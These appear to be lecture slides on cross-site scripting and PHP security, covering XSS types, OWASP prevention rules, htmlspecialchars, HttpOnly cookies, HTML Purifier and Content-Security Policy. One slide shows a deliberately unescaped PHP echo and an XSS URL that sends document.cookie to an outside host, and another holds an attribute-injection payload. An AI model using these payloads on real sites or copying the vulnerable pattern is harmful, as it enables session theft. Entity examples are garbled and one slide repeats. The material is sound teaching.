2. XSS
➢XSS enables attackers to inject client-side script
into Web pages viewed by other users.
➢A cross-site scripting vulnerability may be used
by attackers to bypass access controls such as
the same origin policy.
➢Cross-site scripting carried out on websites
accounted for roughly 84% of all security
vulnerabilities documented by Symantec as of
2007.
Source: http://en.wikipedia.org/wiki/Cross-site_scripting
3. Type of XSS
1. Non-Persistent (or Reflected) XSS attack, the attack
is in the request itself (frequently the URL) and the vulnerability occurs
when the server inserts the attack in the response verbatim or incorrectly
escaped or sanitized.
2. Persistent (or Stored) XSS attack, the attacker stores the
attack in the application (e.g., in a snippet) and the victim triggers the attack
by browsing to a page on the server that renders the attack, by not properly
escaping or sanitizing the stored data.
Source : https://google-gruyere.appspot.com/part2
5. XSS Example - 2
Session Hijacking
File: cookies_steal.php
<?php session_start(); ?>
<html>
<head></head>
<body><?php
echo isset($_GET['c'])?$_GET['c']:'';
?>
</body> </html>
Hit following urls in firefox:
http://localhost/OWASP/cookies_steal.php?c=<script>document.location='http://test31.loc/c.php?c='%2Bdocument.cookie
;</script>
OR
http://localhost/OWASP/cookies_steal.php?c=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63
●
6. OWASP XSS Prevention Cheat Sheet
4 major OWASP rules to prevent XSS attack
a) RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
For example:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
7. OWASP XSS Prevention Cheat Sheet
4 major OWASP rules to prevent XSS attack
b) RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content
For example:
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>
any other normal HTML elements
8. OWASP XSS Prevention Cheat Sheet
4 major OWASP rules to prevent XSS attack
c)RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
For example:
<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div>
inside UNquoted attribute
<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div>
inside single quoted attribute
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
inside double quoted attribute
9. OWASP XSS Prevention Cheat Sheet
4 major OWASP rules to prevent XSS attack
c)RULE #2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes
For example:
<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content</div>
inside UNquoted attribute
<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'>content</div>
inside single quoted attribute
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
inside double quoted attribute
10. OWASP XSS Prevention Cheat Sheet
4 major OWASP rules to prevent XSS attack
d) RULE #3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values
For example:
<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
inside a quoted string
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
one side of a quoted expression
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
inside quoted event handler
Source: https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
11. PHP Security
● Weak typing
It automatically convert data of an incorrect type into the expected type. Try to use functions and
operators that do not do implicit type conversions (e.g. === and not ==).
● Untrusted data
All data that is a product, or subproduct, of user input is to NOT be trusted. Super globals which are
not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all
data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and
specially everything that deals with HTTP headers (they start with HTTP_).
● File uploads
Use
$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);
Instead of
if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}
● Use of $_REQUEST
Using $_REQUEST is strongly discouraged.
12. Solution for XSS for PHP
● Htmlspecialchars()
● strip_tags()
● filter_var()
● HTML Purifier
● Library php-antixss
● HttpOnly cookies
13. Htmlspecialchars()
Certain characters have special significance in HTML, and should be
represented by HTML entities if they are to preserve their meanings. This
function returns a string with these conversions made. f you require all input
substrings that have associated named entities to be translated, use
htmlentities() instead.
The translations performed are:
'&' (ampersand) becomes '&'
'"' (double quote) becomes '"' when ENT_NOQUOTES is not set.
"'" (single quote) becomes ''' (or ') only when ENT_QUOTES is
set.
'<' (less than) becomes '<'
'>' (greater than) becomes '>'
Source: http://in1.php.net/htmlspecialchars
14. Htmlspecialchars()
Function specification:
string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = 'UTF-8' [, bool $double_encode
= true ]]] )
If you miss the second parameter, which is ENT_COMPAT, give you an alert :
Example code for PHP 5.3:
<?php header('Content-Type: text/html; charset=UTF-8'); ?>
<!DOCTYPE html>
<?php
//http://localhost/OWASP/test1.php?c=' onmouseover='alert(/Meow!/)
$input = $_GET['c']; $output = htmlspecialchars($input); ?>
<html> <head>
<title>Single Quoted Attribute</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head> <body>
<div>
<span title='<?php echo $output ?>'>
What's that latin placeholder text again?
</span>
</div>
</body>
</html
Source : http://blog.astrumfutura.com/2012/03/a-hitchhikers-guide-to-cross-site-scripting-xss-in-php-part-1-how-not-to-use-htmlspecialchars-for-output-escaping
15. HttpOnly cookies
According to a daily blog article by Jordan Wiens, “No cookie for you!,” HttpOnly cookies were first implemented in 2002 by
Microsoft Internet Explorer developers for Internet Explorer 6 SP1.
HttpOnly is an additional flag included in a Set-Cookie HTTP response header. Using the HttpOnly flag when generating a
cookie helps mitigate the risk of client side script accessing the protected cookie (if the browser supports it).
PHP Session HttpOnly
You can add entry in php.ini
ini_set( 'session.cookie_httponly', 1 );
Or in your code:
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool
$httponly = false ]]]]]] )
Example:
<?php
session_set_cookie_params ( 600, "/", "localhost" , false ,true);
session_start();
?>
<html><body>
<script>
alert(document.cookie);
</script>
</body> </html>
Source: https://www.owasp.org/index.php/HttpOnly
●
16. HTML Purifier
HTML Purifier is a standards-compliant HTML filter library written in PHP.
HTML Purifier will not only remove all malicious code (better known as XSS)
with a thoroughly audited, secure yet permissive whitelist, it will also make
sure your documents are standards compliant, something only achievable
with a comprehensive knowledge of W3C's specifications.
PHP Yii framework also provide this in form of CHtmlPurifier
Source : http://htmlpurifier.org/
http://www.yiiframework.com/doc/api/1.1/CHtmlPurifier
17. Content-Security Policy
The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource
sources that the browser can trust. Any source not included in the whitelist can now be ignored by the
browser since it’s untrusted.
For example:
X-Content-Security-Policy: script-src 'self'
This CSP header tells the browser to only trust Javascript source URLs pointing to the current domain.
X-Content-Security-Policy: script-src 'self' http://code.jquery.com
If we need to use Javascript from another source besides ‘self’, we can extend the whitelist to include it.
For example, let’s include jQuery’s CDN address.
Here’s a list of the resource directives supported:
connect-src: Limits the sources to which you can connect using XMLHttpRequest, WebSockets, etc.
font-src: Limits the sources for web fonts.
frame-src: Limits the source URLs that can be embedded on a page as frames.
img-src: Limits the sources for images.
media-src: Limits the sources for video and audio.
object-src: Limits the sources for Flash and other plugins.
script-src: Limits the sources for script files.
style-src: Limits the sources for CSS files.
Source: http://phpsecurity.readthedocs.org/en/latest/Cross-Site-Scripting-(XSS).html
18. Summary Defending Against XSS Attacks
● Input Validation
● Escaping (also Encoding)
● Never Inject Data Except In Allowed Locations
● Always HTML Escape Before Injecting Data Into The HTML Body Context
● Always HTML Attribute Escape Before Injecting Data Into The HTML Attribute
Context
● Always Javascript Escape Before Injecting Data Into Javascript Data Values
● Content-Security Policy
● HTML Sanitisation
Source: http://phpsecurity.readthedocs.org/en/latest/Cross-Site-Scripting-(XSS).html